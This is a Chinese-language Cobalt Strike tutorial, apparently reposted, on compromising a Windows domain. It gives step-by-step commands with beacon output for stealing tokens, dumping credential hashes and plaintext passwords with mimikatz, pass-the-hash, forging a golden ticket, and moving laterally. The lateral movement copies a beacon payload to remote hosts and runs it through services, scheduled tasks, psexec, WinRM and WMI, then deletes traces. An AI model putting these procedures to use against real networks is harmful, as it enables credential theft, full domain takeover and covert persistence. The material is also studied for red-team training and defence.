CobaltStrike使用-第七篇(获取信任凭证哈希认证Kerberos票据横向移动)

Posted OceanSec

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CobaltStrike使用-第七篇(获取信任凭证哈希认证Kerberos票据横向移动)相关的知识,希望对你有一定的参考价值。

文章目录

获取信任->登录认证

如果当前账号权限被系统认为是本地管理员权限,那么就可以执行很多管理员才能做的事,接下来就来看一下这样的一个过程是如何工作的,其中会涉及到以下要点:

  1. Access Token 登录令牌
  2. Credentials 凭证
  3. Password Hashes 密码哈希
  4. Kerberos Tickets 登录凭据

登录令牌

  • 登录令牌在登录之后被创建
  • 与每个进程和线程相关联
  • 包括:
    • 用户和用户组的信息
    • 本地计算机上的特权列表
    • 限制(删除用户和用户组的权限)
    • 参考凭证(支持单点登录)
  • 一直保存在内存中,直到系统重启

以下是令牌窃取的过程:

  • 使用 ps 列出进程
  • 使用 steal_token [pid] 窃取令牌
  • 使用 getuid 找到你是谁
  • 使用 rev2self 移除令牌

当前具有的system权限会话(提权至system权限),该会话在 win7 主机下,没有域控制器访问权限

关于windows用户组权限表可以看这张图(Windows 7中常见用户组的对照表来源:【Windows权限与用户和组】等级森严的Windows王国

先用 ps 查看一下当前系统进程信息(第一行就是pid)

发现OCEAN0域下的管理帐号此时在当前 SYSTEM 会话的主机上是登录着的,使用 steal_token [pid] 命令窃取 TEAMSSIX\\Administrator 账户的令牌

beacon> steal_token 4000

查看一下当前会话 uid

beacon> getuid

发现现在已经是域控管理员权限,再次尝试获取域控制器主机下的文件

使用 rev2self 可移除当前窃取的令牌

rev2self

凭证

1.使用 make_token 创建一个令牌

make_token DOMAIN\\user password
# make_token OCEAN0\\Administrator Ocean@123

在运行命令之前,需要知道要获取令牌用户的密码,这里可以使用 mimikatz 进行获取,具体的方法可参考上一节内容

当密码输入错误时,执行上面的两个命令就会提示 登录失败: 未知的用户名或错误密码。 同样的使用 rev2self 可除去当前令牌,恢复原来的 SYSTEM 权限

获取权限后可以查看目录域控主机目录,这可以使用powerview执行命令(需要提权上传powerview.sp1,目标需要开启winrm)

powershell Invoke-Command -computer WIN-A9PLNLID2QM -ScriptBlock whoami

2.使用 spawn beacon 替代凭证

spawnas DOMAIN\\user password
# spawnas OCEAN0\\Administrator Ocean@123

3.在目标上建立账户进行远程连接

net use \\\\host\\C$/USER:DOMAIN\\user password

哈希认证

使用 help 命令查看 pth 命令用法

beacon> help pth
Use: pth [DOMAIN\\user] [NTLM hash]

Uses mimikatz to generate AND impersonate a token that uses the specified
DOMAIN, user, and NTLM hash as single sign-on credentials. Beacon will pass
this hash when you interact with network resources.

工作原理:

  1. mimikatz 使用登录令牌开启了一个进程,在单点登录信息那里填入我们提供的用户名称、域、密码哈希值
  2. cobalt strike 自动的从那个进程中窃取令牌并关闭

使用方法:

  1. 首先使用 hashdump 获取用户的密码哈希值,这里的 beacon 会话为 SYSTEM 权限

    beacon> hashdump
    [*] Tasked beacon to dump hashes
    [+] host called home, sent: 82501 bytes
    [+] received password hashes:
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    HomeGroupUser$:1001:aad3b435b51404eeaad3b435b51404ee:a173c45dd09b8b14d9e5c11b10f2cfa9:::
    spary:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    

    或者使用上一节的方法,powershell 加载 mimikatz 获取哈希

    Authentication Id : 0 ; 849135 (00000000:000cf4ef)
    Session           : Interactive from 2
    User Name         : administrator
    Domain            : OCEAN0
    SID               : S-1-5-21-436250240-237335239-2342608000-500
    	msv :	
    	 [00000003] Primary
    	 * Username : Administrator
    	 * Domain   : OCEAN0
    	 * LM       : 1ca9515d7ed5c511b75e0c8d76954a50
    	 * NTLM     : d69a9d8eeee7621bacdf9d1d71ef1e06
    	 * SHA1     : 2c0c71c98e0ded1b0a5d38222ec619d9d11d4446
    	tspkg :	
    	 * Username : Administrator
    	 * Domain   : OCEAN0
    	 * Password : Ocean@123
    	wdigest :	
    	 * Username : Administrator
    	 * Domain   : OCEAN0
    	 * Password : Ocean@123
    	kerberos :	
    	 * Username : administrator
    	 * Domain   : OCEAN.COM
    	 * Password : Ocean@123
    	ssp :	
    	credman :
    
  2. 使用 pth 命令获取信任

    beacon> pth OCEAN0\\Administrator d69a9d8eeee7621bacdf9d1d71ef1e06
    [*] Tasked beacon to run mimikatz's sekurlsa::pth /user:Administrator /domain:OCEAN0 /ntlm:d69a9d8eeee7621bacdf9d1d71ef1e06 /run:"%COMSPEC% /c echo 06304b473c1 > \\\\.\\pipe\\e003ab" command
    [+] host called home, sent: 438886 bytes
    [+] Impersonated NT AUTHORITY\\SYSTEM
    [+] received output:
    user	: Administrator
    domain	: OCEAN0
    program	: C:\\Windows\\system32\\cmd.exe /c echo 06304b473c1 > \\\\.\\pipe\\e003ab
    impers.	: no
    NTLM	: d69a9d8eeee7621bacdf9d1d71ef1e06
      |  PID  3212
      |  TID  140
      |  LSA Process is now R/W
      |  LUID 0 ; 2159933 (00000000:0020f53d)
      \\_ msv1_0   - data copy @ 0000000000339870 : OK !
      \\_ kerberos - data copy @ 00000000014D5A88
       \\_ aes256_hmac       -> null             
       \\_ aes128_hmac       -> null             
       \\_ rc4_hmac_nt       OK
       \\_ rc4_hmac_old      OK
       \\_ rc4_md4           OK
       \\_ rc4_hmac_nt_exp   OK
       \\_ rc4_hmac_old_exp  OK
       \\_ *Password replace @ 00000000002DE3B8 (16) -> null
    

这样的话是可以拿到域控权限并且访问域控主机目录的

最后使用命令移除当前窃取的令牌

rev2self

Kerberos 票据

Kerberos

Kerberos是一种由MIT(麻省理工大学)提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证

在Kerberos认证中,最主要的问题是如何证明“你是你”的问题,如当一个Client去访问Server服务器上的某服务时,Server如何判断Client是否有权限来访问自己主机上的服务,同时保证在这个过程中的通讯内容即使被拦截或篡改也不影响通讯的安全性,这正是Kerberos解决的问题。在域渗透过程中Kerberos协议的攻防也是很重要的存在

在Kerberos协议中主要是有三个角色的存在:

  1. 访问服务的Client
  2. 提供服务的Server
  3. KDC(Key Distribution Center)密钥分发中心

其中KDC服务默认会安装在一个域的域控中,而Client和Server为域内的用户或者是服务,如HTTP服务,SQL服务。在Kerberos中Client是否有权限访问Server端的服务由KDC发放的票据来决定

知乎有一篇文章形象生动的介绍了这个过程,我是链接

  • 列出 Kerberos 票据

    shell klist
    
  • 除去 kerberos 票据

    kerberos_ticket_purge
    
  • 加载 kerberos 票据

    kerberos_ticket_use [/path/to/file.ticket]
    

黄金票据

黄金票据 Golden Ticket 是 KRBTGT 帐户的 Kerberos 身份验证令牌,KRBTGT 帐户是一个特殊的隐藏帐户,用于加密 DC 的所有身份验证令牌。然后黄金票据可以使用哈希传递技术登录到任何帐户,从而使攻击者可以在网络内部不受注意地移动,内网中经常存在

使用 mimikatz 伪造黄金票据需要:

1. 目标的用户名及域名
2. 域的 SID 值
3. DC 中 KRBTGT 用户的 NTLM 哈希
  1. 目标的用户名及域名

    直接使用shell命令获取

    # 获取当前域
    beacon> shell net view /domain
    # 获取域内用户
    beacon> shell net view /domain:[name]
    
  2. 域的 SID 值

    域的 SID 值即安全标识符 Security Identifiers,使用 whoami /user 命令可查看,注意不需要 SID 最后的一组数字

    beacon> shell whoami /user
    # 注意使用域用户权限的 Beacon 执行命令
    

    SID 就是S-1-5-21-436250240-237335239-2342608000

  3. DC 中 KRBTGT 用户的 NTLM 哈希

    DC 中 KRBTGT 用户的 NTLM 哈希可以通过 dcsync 或 hashdump 获得,也可以使用powershell加载mimikatz获取,这里直接使用之前获取的值d69a9d8eeee7621bacdf9d1d71ef1e06

右击会话,生成黄金票据

注意: Domain 需要填写成 FQDN 格式,即完全合格域名 Fully Qualified Domain Name ,也就是类似于 teamssix.com 的格式

beacon> mimikatz kerberos::golden /user:Administrator /domain:ocean.com /sid:S-1-5-21-436250240-237335239-2342608000 /krbtgt:31d6cfe0d16ae931b73c59d7e0c089c0 /endin:480 /renewmax:10080 /ptt
[*] Tasked beacon to run mimikatz's kerberos::golden /user:Administrator /domain:ocean.com /sid:S-1-5-21-436250240-237335239-2342608000 /krbtgt:31d6cfe0d16ae931b73c59d7e0c089c0 /endin:480 /renewmax:10080 /ptt command
[+] host called home, sent: 438858 bytes
[+] received output:
User      : Administrator
Domain    : ocean.com (OCEAN)
SID       : S-1-5-21-436250240-237335239-2342608000
User Id   : 500
Groups Id : *513 512 520 518 519 
ServiceKey: 31d6cfe0d16ae931b73c59d7e0c089c0 - rc4_hmac_nt      
Lifetime  : 2021/12/6 15:46:14 ; 2021/12/6 23:46:14 ; 2021/12/13 15:46:14
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'Administrator @ ocean.com' successfully submitted for current session

建立好黄金票据之后内可以使用命令判断当前权限(票据存在生存时间过期失效)

shell dir \\\\DC\\C$

横向移动

直接使用之前的环境就可以

环境介绍:

目前已经通过钓鱼攻击在CS中拿到Win7会话,发现域内账号配置问题导致win7上的域用户为域内成员服务器Winserver2008-2的本地管理员权限,接下来就是先拿到成员服务器server2008-2的会话,然后通过成员服务器server2008-2横向移动至域控制器

基本步骤

  1. 与目标建立信任关系
  2. 复制可执行文件到目标上
  3. 在目标上运行可执行文件
  4. 实现对目标的控制

1.创建可执行文件

以在 Cobalt Strike 的 Attack -> Packages -> Windows Executable(s) 处进行创建,如果用于内网中的横向移动,那么强烈建议使用 SMB Beacon,SMB Beacon 就是为了内网横向扩展渗透而设计的

2.上传可执行文件

首先直接使用文件上传功能上传将后门上传到目标机器

接着复制文件到目标主机(winerver20082)的其他位置

shell copy file.exe \\\\host\\C$\\Windows\\Temp
# 这里使用的Beacon应为拥有权限的域用户的Beacon,非system,可以列目录
beacon> shell dir \\\\SERVER20082\\C$

# 这样上传也是可以的
beacon> upload /root/beacon.exe
[*] Tasked beacon to upload /root/Desktop/beacon.exe as beacon.exe
[+] host called home, sent: 289302 bytes

# 复制文件
beacon> shell copy C:\\Users\\win701\\beacon.exe \\\\SERVER20082\\C$\\Windows\\Temp\\s.exe
[*] Tasked beacon to run: copy C:\\Users\\win701\\beacon.exe \\\\SERVER20082\\C$\\Windows\\Temp\\s.exe
[+] host called home, sent: 92 bytes
[+] received output:
已复制         1 个文件。

3.1执行文件-方法1

  1. 生成 Windows Service EXE 并上传

  2. 在目标主机上创建一个服务

    beacon> shell sc \\\\host create name binpath= c:\\windows\\temp\\file.exe
    
    # beacon> shell sc \\\\SERVER20082 create beacon binpath= c:\\windows\\temp\\s.exe
    [*] Tasked beacon to run: sc \\\\SERVER20082 create name binpath= c:\\windows\\temp\\s.exe
    [+] host called home, sent: 90 bytes
    [+] received output:
    [SC] CreateService 成功
    

    注:记住 binpath 路径

  3. 在目标主机上启动服务

    shell sc \\\\host start name
    # beacon> shell sc \\\\SERVER20082 start beacon
    
    beacon> shell sc \\\\wintest start beacon
    [*] Tasked beacon to run: sc \\\\wintest start beacon
    [+] host called home, sent: 56 bytes
    [+] received output:
    SERVICE_NAME: beacon 
            TYPE               : 10  WIN32_OWN_PROCESS  
            STATE              : 2  START_PENDING 
                                    (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
            WIN32_EXIT_CODE    : 0  (0x0)
            SERVICE_EXIT_CODE  : 0  (0x0)
            CHECKPOINT         : 0x0
            WAIT_HINT          : 0x7d0
            PID                : 3816
            FLAGS              : 
            
    beacon> link wintest
    [*] Tasked to link to \\\\wintest\\pipe\\msagent_da00
    [+] host called home, sent: 36 bytes
    [+] established link to child beacon: 192.168.175.130
    

    4.清除痕迹与服务

    shell sc \\\\host delete name
    
    beacon> shell del beacon.exe
    [*] Tasked beacon to run: del beacon.exe
    [+] host called home, sent: 57 bytes
    

3.2执行文件-方法2

  1. 生成 Windows EXE 并上传,注意这里生成的 EXE 和方法一生成的 EXE 是不一样的类型,这里生成的是Windows EXE,不是方法一中的Windows Service EXE,上传

    shell copy C:\\Users\\win701\\beacon.exe \\\\SERVER20082\\C$\\Windows\\Temp\\s.exe
    
  2. 找到目标系统上的时间

    shell net time \\\\host
    
  3. 创建一个计划任务

    shell at \\\\host HH:mm C:\\path\\to\\bad.exe
    
    # shell at \\\\SERVER20082 19:12 C:\\Windows\\Temp\\s.exe
    
  4. 当计划任务被执行时,执行 link hostname 即可上线主机

3.3执行文件-方法3

beacon 的自动操作

前两种执行文件的方法都需要往磁盘里上传文件,如果不想往磁盘中上传文件,也可以使用 beacon 的自动操作

  • 使用一个服务运行可执行文件
psexec [target] [share] [listener]
  • 使用一个服务运行 Powershell 单行程序
psexec_psh [target] [listener]
  • 通过 WinRM 运行 Powershell 单行程序
winrm [target] [listener]
  • 通过 WMI 运行 Powershell 单行程序
wmi [target] [listener]

在 Cobalt Strike 的 viwe --> Targets 下,右击主机选择 Jump 也可以通过图形化的方式进行上述操作,这样也使得横向移动更加的简单

以上是关于CobaltStrike使用-第七篇(获取信任凭证哈希认证Kerberos票据横向移动)的主要内容,如果未能解决你的问题,请参考以下文章

第七篇:使用 fcntl 函数 获取,设置文件的状态标志

第七篇Prometheus PromQL 简单用法

第七篇 爬虫挖矿神器看这篇就够了

第七篇 python IO操作

第七篇 python IO操作

PowerBI开发 第七篇:数据集和数据刷新